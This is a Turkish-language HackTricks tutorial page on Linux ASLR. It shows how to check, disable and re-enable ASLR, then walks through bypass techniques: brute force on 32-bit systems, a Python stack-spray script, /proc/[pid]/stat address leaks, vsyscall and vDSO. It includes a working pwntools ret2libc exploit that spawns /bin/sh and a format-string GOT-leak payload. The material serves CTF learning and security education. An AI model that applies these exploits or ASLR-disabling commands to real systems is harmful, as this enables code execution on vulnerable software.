ASLR

Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Temel Bilgiler

Adres Alanı Düzeni Rastgeleleştirme (ASLR), işletim sistemlerinde kullanılan bir güvenlik tekniğidir ve sistem ve uygulama süreçleri tarafından kullanılan bellek adreslerini rastgeleleştirir. Böylece, belirli süreçlerin ve verilerin konumunu, özellikle tampon taşmalarını hafifletirken, bir saldırganın tahmin etmesini önemli ölçüde zorlaştırır.

ASLR Durumunu Kontrol Etme

Linux sistemlerinde ASLR durumunu kontrol etmek için, ASLR'nin uygulandığı türü belirleyen /proc/sys/kernel/randomize_va_space dosyasından değeri okuyabilirsiniz:

  • 0: Rastgeleleştirme yok. Her şey statiktir.

  • 1: Muhafazakar rastgeleleştirme. Paylaşılan kütüphaneler, yığın, mmap(), VDSO sayfası rastgeleleştirilir.

  • 2: Tam rastgeleleştirme. Muhafazakar rastgeleleştirme tarafından rastgeleleştirilen öğelerin yanı sıra brk() ile yönetilen bellek de rastgeleleştirilir.

ASLR durumunu aşağıdaki komutla kontrol edebilirsiniz:

cat /proc/sys/kernel/randomize_va_space

ASLR'nin Devre Dışı Bırakılması

ASLR'yi devre dışı bırakmak için /proc/sys/kernel/randomize_va_space değerini 0 olarak ayarlarsınız. ASLR'nin devre dışı bırakılması genellikle test veya hata ayıklama senaryoları dışında önerilmez. İşte nasıl devre dışı bırakabileceğiniz:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Ayrıca, bir yürütme için ASLR'yi devre dışı bırakabilirsiniz:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

ASLR'yi Etkinleştirme

ASLR'yi etkinleştirmek için, genellikle kök izinleri gerektiren /proc/sys/kernel/randomize_va_space dosyasına 2 değerini yazabilirsiniz. Tam rasgeleleştirme ise aşağıdaki komutla yapılabilir:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Yeniden Başlatmalara Karşı Kalıcılık

echo komutları ile yapılan değişiklikler geçicidir ve yeniden başlatıldığında sıfırlanacaktır. Değişikliği kalıcı hale getirmek için /etc/sysctl.conf dosyasını düzenleyip aşağıdaki satırı eklemeniz veya değiştirmeniz gerekmektedir:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

/etc/sysctl.conf dosyasını düzenledikten sonra değişiklikleri uygulamak için:

sudo sysctl -p

Bu, ASLR ayarlarınızın yeniden başlatmalar arasında kalmasını sağlayacaktır.

Atlatmalar

32 bit kaba kuvvet saldırısı

PaX işlem adres alanını 3 gruba ayırır:

  • Kod ve veri (başlatılmış ve başlatılmamış): .text, .data ve .bss —> delta_exec değişkeninde 16 bit entropi. Bu değişken her işlemle rastgele olarak başlatılır ve başlangıç adreslerine eklenir.

  • mmap() tarafından ayrılan Bellek ve paylaşılan kütüphaneler —> 16 bit, delta_mmap olarak adlandırılır.

  • Yığın —> 24 bit, delta_stack olarak adlandırılır. Ancak, etkili olarak 11 bit kullanır (10. ile 20. bayt arasında dahil), 16 bayt'a hizalanmıştır —> Bu, 524,288 olası gerçek yığın adresine yol açar.

Önceki veriler 32 bit sistemler içindir ve azaltılmış son entropi, saldırı başarılı bir şekilde tamamlanana kadar işlemi tekrar tekrar deneyerek ASLR'yi atlatmayı mümkün kılar.

Kaba kuvvet fikirleri:

  • Kabul edilebilir büyüklükte bir taşma ile büyük bir NOP kaydı barındırabilecek kadar büyükse, yığında adresleri kaba kuvvetle deneyebilir ve akışın NOP kaydının bir kısmının üzerinden atlamasını sağlayabilirsiniz.

  • Taşma yeterince büyük değilse ve saldırı yerel olarak çalıştırılabilirse, NOP kaydını ve shellcode'u bir ortam değişkenine eklemek mümkündür.

  • Saldırı yerel ise, libc'nin temel adresini kaba kuvvetle deneyebilirsiniz (32 bit sistemler için faydalıdır):

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Uzak bir sunucuyu hedef alıyorsanız, usleep libc fonksiyonunun adresini kaba kuvvet uygulayabilirsiniz, örneğin 10'u argüman olarak geçirerek. Eğer sunucu cevap vermek için 10 saniye daha fazla zaman alıyorsa, bu fonksiyonun adresini buldunuz demektir.

64 bit sistemlerde entropi çok daha yüksektir ve bu mümkün olmamalıdır.

64 bit yığın kaba kuvvet saldırısı

Çevre değişkenleriyle yığının büyük bir kısmını işgal etmek ve ardından binleri/yüzleri kez yerel olarak kötüye kullanmak mümkündür. Aşağıdaki kod, yığında yalnızca bir adres seçmenin ve her birkaç yüz kez çalıştırmanın bu adresin NOP talimatını içereceğini göstermektedir:

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass

Yerel Bilgiler (/proc/[pid]/stat)

Bir işlemin /proc/[pid]/stat dosyası her zaman herkes tarafından okunabilir ve şunlar gibi ilginç bilgiler içerir:

  • startcode & endcode: Binary'nin TEXT kısmının üstünde ve altındaki adresler

  • startstack: stack'in başlangıç adresi

  • start_data & end_data: BSS'nin bulunduğu adreslerin üstünde ve altındaki adresler

  • kstkesp & kstkeip: Mevcut ESP ve EIP adresleri

  • arg_start & arg_end: cli argümanlarının bulunduğu adreslerin üstünde ve altındaki adresler

  • env_start & env_end: çevre değişkenlerinin bulunduğu adreslerin üstünde ve altındaki adresler

Bu nedenle, saldırgan, söz konusu binary'nin aynı bilgisayarda olduğu ve bu binary'nin ham argümanlardan taşma beklemiyor olması durumunda, ancak bu dosyayı okuduktan sonra oluşturulabilecek farklı bir girdiden taşma bekliyorsa, saldırganın bu dosyadan bazı adresleri alıp bunlardan ofsetler oluşturması mümkündür.

Bu dosya hakkında daha fazla bilgi için https://man7.org/linux/man-pages/man5/proc.5.html adresine giderek /proc/pid/stat'ı arayın.

Bir sızıntıya sahip olmak

  • Zorluk, bir sızıntı vermek

Eğer bir sızıntı verilirse (kolay CTF zorlukları), bu sızıntılardan ofsetler hesaplayabilirsiniz (örneğin, söz konusu sistemin kullandığı kesin libc sürümünü bildiğinizi varsayalım). Bu örnek exploit, buradan örnekten çıkarılmıştır (daha fazla ayrıntı için o sayfaya bakın):

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Tampon taşması kullanılarak ret2plt'yi istismar etmek, bir libc fonksiyonunun adresini dışarı sızdırmak mümkün olabilir. Kontrol edin:

pageRet2plt
  • Format Strings Arbitrary Read

Ret2plt'de olduğu gibi, bir format dizileri zafiyeti aracılığıyla keyfi okuma yeteneğiniz varsa, bir libc fonksiyonunun adresini GOT'tan dışarı sızdırmak mümkündür. Aşağıdaki örnek buradan alınmıştır:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Format Strings arbitrary read hakkında daha fazla bilgiyi aşağıda bulabilirsiniz:

pageFormat Strings

Ret2ret & Ret2pop

Stack içindeki adresleri istismar ederek ASLR'yi atlamayı deneyin:

pageRet2ret & Reo2pop

vsyscall

vsyscall mekanizması, belirli sistem çağrılarının çekirdek parçası olmalarına rağmen kullanıcı alanında yürütülmesine izin vererek performansı artırmak için hizmet verir. Vsyscalls'ın kritik avantajı, ASLR'ye (Adres Alanı Düzeni Rastgeleleştirme) tabi olmayan sabit adreslerinde yatmaktadır. Bu sabit doğa, saldırganların adreslerini belirlemek ve bir saldırıda kullanmak için bir bilgi sızıntısı zafiyetine ihtiyaç duymamaları anlamına gelir. Ancak, burada çok ilginç araçlar bulunmayacak (örneğin bir ret; eşdeğerini almak mümkündür)

(Aşağıdaki örnek ve kod bu yazıdan alınmıştır)

Örneğin, bir saldırgan, bir saldırıda 0xffffffffff600800 adresini kullanabilir. Bir ret talimatına doğrudan atlamaya çalışmak, birkaç araç yürütüldükten sonra kararsızlığa veya çökmelere yol açabilir, ancak yürütmenin vsyscall bölümü tarafından sağlanan bir syscall'ın başlangıcına atlaması başarılı olabilir. Bir ROP aracını dikkatlice yerleştirerek, saldırgan bu vsyscall adresine yürütmeyi yönlendiren bir ROP aracı yerleştirerek, bir saldırının bu kısmı için ASLR'yi atlamaya gerek duymadan kod yürütme başarabilir.

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3

vDSO

Bu nedenle, kernel CONFIG_COMPAT_VDSO ile derlenmişse vdso'nun adresi rastgele hale getirilmeyeceğinden ASLR'yi atlayabilirsiniz. Daha fazla bilgi için kontrol edin:

pageRet2vDSO

Last updated